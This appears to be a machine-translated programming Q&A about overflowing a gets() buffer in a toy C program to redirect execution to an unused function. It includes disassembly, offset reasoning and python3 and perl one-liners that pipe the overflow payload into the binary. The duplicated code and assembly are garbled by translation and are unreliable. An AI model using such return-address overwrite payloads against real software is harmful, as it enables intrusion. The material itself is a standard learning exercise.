C 需要帮助执行简单的缓冲区溢出吗
我试图在此代码上执行缓冲区溢出:C 需要帮助执行简单的缓冲区溢出吗,c,buffer-overflow,gets,C,Buffer Overflow,Gets,我试图在此代码上执行缓冲区溢出: #include <stdio.h> CanNeverExecute(){ printf ("You should not be seeing this , right?\n"); } Greet(){ char buf [8]; gets(buf); // This line is vulnerable because "gets" does not perform a lengt
#include <stdio.h>
CanNeverExecute(){
printf ("You should not be seeing this , right?\n");
}
Greet(){
char buf [8];
gets(buf); // This line is vulnerable because "gets" does not perform a length check, it just copies the whole user input
printf ("Good day, %s\n", buf);
}
int main(){
Greet();
return 0;
}
#包括
CanNeverExecute(){
printf(“您不应该看到这个,对吗?\n”);
}
问候{
char-buf[8];
gets(buf);//此行易受攻击,因为“gets”不执行长度检查,它只复制整个用户输入
printf(“你好,%s\n”,buf);
}
int main(){
问候();
返回0;
}
这是拆解的问候功能:
080484b1 <Greet>:
80484b1: 55 push %ebp
80484b2: 89 e5 mov %esp,%ebp
80484b4: 53 push %ebx
80484b5: 83 ec 14 sub $0x14,%esp
80484b8: e8 03 ff ff ff call 80483c0 <__x86.get_pc_thunk.bx>
80484bd: 81 c3 43 1b 00 00 add $0x1b43,%ebx
80484c3: 83 ec 0c sub $0xc,%esp
80484c6: 8d 45 f0 lea -0x10(%ebp),%eax
80484c9: 50 push %eax
80484ca: e8 61 fe ff ff call 8048330 <gets@plt>
80484cf: 83 c4 10 add $0x10,%esp
80484d2: 83 ec 08 sub $0x8,%esp
80484d5: 8d 45 f0 lea -0x10(%ebp),%eax
80484d8: 50 push %eax
80484d9: 8d 83 c7 e5 ff ff lea -0x1a39(%ebx),%eax
80484df: 50 push %eax
80484e0: e8 3b fe ff ff call 8048320 <printf@plt>
80484e5: 83 c4 10 add $0x10,%esp
80484e8: 90 nop
80484e9: 8b 5d fc mov -0x4(%ebp),%ebx
80484ec: c9 leave
80484ed: c3 ret
080484b1:
80484b1:55推力%ebp
80484b2:89 e5 mov%esp,%ebp
80484b4:53推送百分比ebx
80484b5:83 ec 14子$0x14,%esp
80484b8:e8 03 ff ff ff ff呼叫80483c0
80484bd:81 c3 43 1b 00添加$0x1b43,%ebx
80484c3:83 ec 0c低于$0xc,%esp
80484c6:8d 45 f0 lea-0x10(%ebp),%eax
80484c9:50%推力eax
80484ca:e8 61 fe ff ff呼叫8048330
80484cf:83 c4 10添加$0x10,%esp
80484d2:83 ec 08子$0x8,%esp
80484d5:8D45 f0 lea-0x10(%ebp),%eax
80484d8:50%推力eax
80484d9:8d 83 c7 e5 ff ff lea-0x1a39(%ebx),%eax
80484df:50%推力eax
80484e0:e8 3b fe ff ff呼叫8048320
80484e5:83 c4 10添加$0x10,%esp
80484e8:90无
80484e9:8b 5d fc mov-0x4(%ebp),%ebx
80484ec:c9离开
80484ed:c3 ret
如果我没有犯错误,我必须输入16个字节来填充缓冲区,因为这条指令分配了16个字节,对吗?
80484d5:8D45 f0 lea-0x10(%ebp),%eax
所以我可以输入16个字符,然后4个字节的ebp=20字节+CanNeverExecute的地址。地址在objdump中显示为08048486,我的机器是little endian,因此我输入20字节的随机字符+地址,如下所示:
aaaaaaaaaaaaaaaa\x86\x84\x04\x08
但它不起作用。我找不到错误,请帮助我。当您使用转义字符输入输入时,实际上是将字符
'\'
,'x'
,'8'
,'6'
等作为单独的ASCII编码字节提供。如果字符与正确的UTF-8编码相对应,您可能至少可以通过复制和粘贴(如果不是通过在键盘上键入)来输入字符。但是利用漏洞很少与有效编码相对应,因此另一种方法是使用另一个程序通过易受攻击的二进制文件的输入流提供特定的字节序列
您可以使用python
一行程序来提供包含转义字符的输入:
python3 -c "import sys; sys.stdout.buffer.write(b'AAAAAAAAAAAAAAAAAAAA\x86\x84\x04\x08')" | ./yourbinary
或使用perl
:
perl -e 'print "AAAAAAAAAAAAAAAAAAAA\x86\x84\x04\x08"' | ./yourbinary
如果“aaaaaaaaaaaa\x86\x84\x04\x08”是精确的输入流,它将不起作用,因为“\x###”只是一个ASCII字符序列,而不是您需要的值。您到底是如何提供输入的?我正在运行程序,然后输入的输入与输入流完全相同。我不明白我该如何输入地址。你将很难用键盘输入数据。看一看。您需要做的是将字节序列写入一个文件,然后将其重定向到您的代码。如果您指的是这些字节的ascii码,则为:HH。但欧元并没有在服务器中正确显示,我只看到“HH”。如果解决了问题,我可以写入一个文件。我应该将问题中的输入写入文件,比如aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x84\x04\x04\x04\x08,然后通过管道将其。大多数优秀的程序员编辑器都有十六进制编辑模式用于此目的。或者您可以编写一个脚本来运行可执行文件并重定向到孩子的stdin。感谢您的回答,但我在此服务器上没有访问python的权限,也不允许我安装任何内容:(我想我会尝试用perl编写相同的代码。@请参阅更新。